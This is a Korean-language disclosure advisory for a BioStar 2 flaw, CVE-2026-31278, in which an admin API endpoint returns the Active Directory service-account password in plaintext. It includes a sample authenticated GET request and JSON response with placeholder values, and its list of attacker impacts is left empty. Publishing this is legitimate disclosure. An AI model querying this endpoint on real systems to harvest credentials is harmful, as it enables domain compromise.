
Suprema BioStar 2의 Active Directory 자격 증명 노출 취약점에 대한 CVE 분석 문서
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-31278 |
| 공급업체 | Suprema Inc. |
| 제품 | BioStar 2 |
| 취약점 유형 | 민감한 정보 노출 / 자격 증명 노출 |
| 공격 벡터 | 원격 / 인증됨 / 낮은 복잡도 |
| 심각도 | 높음 |
| 수정 버전 | BioStar 2 v2.9.12 / BioStarX v1.0.2 |
| 연구자 | Abdullah Alannaz |
Suprema BioStar 2에는 Active Directory 통합 설정을 부적절하게 처리하여 발생하는 민감한 정보 노출 취약점이 존재합니다. 백엔드 API 엔드포인트 /api/v2/setting/adserversetting은 관리 UI에서 비밀번호가 마스킹되어 있음에도 불구하고 Active Directory 바인드 계정 자격 증명을 평문으로 반환합니다.
관리 인터페이스에서는 비밀번호 필드가 마스킹되어 있지만, 백엔드 API에 대한 인증된 요청은 비활성화된 SSL 통신을 포함한 LDAP 구성 매개변수와 함께 전체 암호화되지 않은 비밀번호를 노출합니다.
인증된 공격자는 AD 서버 구성 엔드포인트로 HTTP GET 요청을 전송하고 서버 응답 내에서 Active Directory 서비스 계정 비밀번호를 평문으로 수신합니다.
요청:
GET /api/v2/setting/adserversetting HTTP/1.1
Host: <target>
Authorization: Bearer <token>
응답:
{
"ad_server": "ldap://internal.domain.local",
"bind_dn": "CN=svc_biostar,DC=domain,DC=local",
"password": "<plaintext_password_returned_here>",
"ssl_enabled": false
}
인증된 공격자는 노출된 자격 증명을 활용하여 다음을 수행할 수 있습니다:
MITRE에서 CVE-2026-31278 지정 | 수정 버전 BioStar 2 v2.9.12 / BioStarX v1.0.2 릴리스 |
Abdullah Alannaz 보안 연구원
이 취약점은 Suprema에 책임 있게 공개되었습니다. 공급업체는 문제를 확인하고 CVE 지정을 위해 MITRE와 협력했습니다.